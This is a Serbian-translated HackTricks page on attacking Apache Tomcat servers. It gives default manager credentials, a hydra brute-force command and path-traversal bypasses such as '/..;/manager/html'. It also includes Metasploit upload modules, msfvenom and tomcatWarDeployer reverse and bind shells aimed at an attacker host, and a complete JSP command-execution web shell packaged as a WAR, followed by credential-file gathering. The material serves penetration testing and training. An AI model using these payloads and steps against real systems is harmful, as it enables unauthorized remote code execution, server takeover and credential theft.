hacktricks/network-services-pentesting/pentesting-web/tomcat.md
2024-02-10 13:11:20 +00:00

15 KiB
Raw Blame History

Tomcat

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivno skeniranje pretnji, pronalazi probleme u celokupnom tehnološkom sklopu, od API-ja do veb aplikacija i cloud sistema. Isprobajte ga besplatno danas.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Otkrivanje

  • Obično se pokreće na portu 8080
  • Uobičajena Tomcat greška:

Enumeracija

Identifikacija verzije

Da biste pronašli verziju Apache Tomcat-a, može se izvršiti jednostavna komanda:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Ovo će pretražiti termin "Tomcat" na stranici indeksa dokumentacije, otkrivajući verziju u oznaci naslova HTML odgovora.

Lokacija datoteka upravitelja

Identifikacija tačnih lokacija direktorijuma /manager i /host-manager je ključna jer se njihova imena mogu promeniti. Preporučuje se pretraga metodom brute-force kako bi se pronašle ove stranice.

Enumeracija korisničkih imena

Za Tomcat verzije starije od 6, moguće je enumerisati korisnička imena putem:

msf> use auxiliary/scanner/http/tomcat_enum

Podrazumevane akreditacije

Direktorijum /manager/html je posebno osetljiv jer omogućava otpremanje i implementaciju WAR fajlova, što može dovesti do izvršavanja koda. Ovaj direktorijum je zaštićen osnovnom HTTP autentifikacijom, a uobičajene akreditacije su:

  • admin:admin
  • tomcat:tomcat
  • admin:<NIŠTA>
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Ove akreditacije se mogu testirati korišćenjem:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Još jedan značajan direktorijum je /manager/status, koji prikazuje verziju Tomcat-a i operativnog sistema, što pomaže u identifikaciji ranjivosti.

Napad brute force

Da biste pokušali napad brute force na direktorijum manager, možete koristiti:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Uz podešavanje različitih parametara u Metasploitu za ciljanje određenog hosta.

Uobičajene ranjivosti

Otkrivanje lozinke u tragovima unazad

Pristup /auth.jsp može otkriti lozinku u tragovima unazad u povoljnim okolnostima.

Dvostruko kodiranje URL-a

Ranjivost CVE-2007-1860 u mod_jk omogućava dvostruko kodiranje URL-a za prolazak putem putanje, omogućavajući neovlašćen pristup upravljačkom interfejsu putem posebno kreiranog URL-a.

Da biste pristupili upravljačkom vebu Tomcat-a, idite na: pathTomcat/%252E%252E/manager/html

/examples

Apache Tomcat verzije 4.x do 7.x uključuju primere skripti koje su podložne otkrivanju informacija i napadima preko skripti sa ugrađenim skriptama (XSS). Ove skripte, koje su sveobuhvatno navedene, treba proveriti radi neovlašćenog pristupa i potencijalne zloupotrebe. Pronađite više informacija ovde

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Exploit putanje prolaska

U nekim ranjivim konfiguracijama Tomcat-a možete dobiti pristup zaštićenim direktorijumima u Tomcat-u koristeći putanju: /..;/

Na primer, možda ćete moći pristupiti stranici upravljača Tomcat-a pristupanjem: www.vulnerable.com/lalala/..;/manager/html

Još jedan način za zaobilaženje zaštićenih putanja korišćenjem ovog trika je pristup http://www.vulnerable.com/;param=value/manager/html

RCE (Izvršenje udaljenog koda)

Na kraju, ako imate pristup Tomcat Web Application Manageru, možete otpakovati i implementirati .war datoteku (izvršiti kod).

Ograničenja

Moći ćete implementirati WAR samo ako imate dovoljno privilegija (uloge: admin, manager i manager-script). Detalji se mogu pronaći u datoteci tomcat-users.xml, obično definisanoj u /usr/share/tomcat9/etc/tomcat-users.xml (varira između verzija) (vidi POST sekciju).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

Metasploit je popularan alat za testiranje penetracije koji se često koristi za iskorišćavanje ranjivosti u mrežnim servisima. Ovaj alat pruža širok spektar modula i eksploita koji omogućavaju hakerima da izvrše napade na ciljane sisteme. Metasploit takođe pruža mogućnost izrade i prilagođavanja sopstvenih modula za napade.

Da biste koristili Metasploit, prvo morate da instalirate Metasploit Framework na vašem računaru. Nakon instalacije, možete koristiti Metasploit komandnu liniju ili grafički korisnički interfejs (GUI) za izvršavanje napada.

Metasploit ima veliku bazu podataka ranjivosti i eksploita, koja se redovno ažurira. Ova baza podataka omogućava hakerima da brzo pronađu i iskoriste ranjivosti u ciljanim sistemima. Metasploit takođe podržava automatizaciju napada, što olakšava izvršavanje napada u velikom obimu.

Kada koristite Metasploit, važno je da imate dozvolu za testiranje penetracije na ciljanim sistemima. Neovlašćeno korišćenje Metasploita može biti ilegalno i podleže zakonskim sankcijama. Uvek se pridržavajte etičkih smernica i zakona prilikom korišćenja ovog alata.

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

  1. Kreirajte war datoteku za implementaciju:
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
  1. Отпремите revshell.war датотеку и приступите јој (/revshell/):

Везивање и реверзни шел са tomcatWarDeployer.py

У неким сценаријима ово не функционише (на пример, старе верзије sun)

Преузимање

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Obrnuti shell

Obrnuti shell je tehnika koja omogućava hakeru da preuzme kontrolu nad udaljenim računarom putem mreže. Ova tehnika se često koristi tokom testiranja penetracije kako bi se dobila daljinska kontrola nad ciljnim sistemom.

Da biste uspostavili obrnuti shell, prvo morate postaviti "slušajući" server na vašem računaru. Zatim, na ciljnom računaru, morate pokrenuti "shell" koji će se povezati sa vašim serverom. Kada se veza uspostavi, možete izvršavati komande na ciljnom računaru kao da ste fizički prisutni na njemu.

Obrnuti shell može biti veoma koristan tokom testiranja penetracije, jer vam omogućava da istražujete i manipulišete ciljnim sistemom sa udaljene lokacije. Međutim, važno je napomenuti da je upotreba obrnutog šela bez dozvole vlasnika sistema ilegalna i može imati ozbiljne pravne posledice.

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bind shell

Bind shell (Veza na čekanju) je vrsta udaljenog pristupa koja omogućava napadaču da uspostavi vezu sa ciljnim računarom i preuzme kontrolu nad njim. Kada se bind shell aktivira na ciljnom računaru, on čeka na dolaznu vezu od napadača. Kada se veza uspostavi, napadač može izvršavati komande na ciljnom računaru i pristupiti njegovim resursima.

Da bi se uspostavila bind shell veza, napadač mora imati pristup ciljnom računaru i instalirati bind shell program na njemu. Ovaj program sluša na određenom portu i čeka na dolazne veze. Kada napadač uspostavi vezu sa ciljnim računarom, on postaje aktivna sesija koju napadač može koristiti za izvršavanje komandi i manipulaciju ciljnim računarom.

Bind shell je često korišćen u napadima na web servere, kao što je Apache Tomcat. Napadač može iskoristiti ranjivost u Tomcatu da bi instalirao bind shell program na serveru i preuzeo kontrolu nad njim. Ovo mu omogućava da izvršava komande na serveru, pristupa fajlovima i bazama podataka, i izvršava druge zlonamerne aktivnosti.

Kada se koristi bind shell, važno je da napadač bude oprezan i ne ostavi tragove na ciljnom računaru. Takođe, ciljani sistem može biti zaštićen firewall-om ili drugim sigurnosnim mehanizmima koji mogu blokirati dolazne veze na određenim portovima. Napadač mora biti svestan ovih ograničenja i prilagoditi svoje metode napada kako bi ih zaobišao.

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Korišćenje Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Ručna metoda - Web shell

Kreirajte index.jsp sa ovim sadržajem:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Takođe možete instalirati ovo (omogućava otpremanje, preuzimanje i izvršavanje komandi): http://vonloesch.de/filebrowser.html

Ručna metoda 2

Preuzmite JSP web shell kao što je ovaj i kreirajte WAR datoteku:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Ime datoteke sa Tomcat akreditacijama je tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Drugi načini za prikupljanje Tomcat akreditacija:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Ostali alati za skeniranje Tomcat-a

Reference

Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivno skeniranje prijetnji, pronalazi probleme u cijelom vašem tehnološkom sklopu, od API-ja do web aplikacija i oblak sustava. Isprobajte ga besplatno danas.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Naučite hakiranje AWS-a od nule do heroja s htARTE (HackTricks AWS Red Team Expert)!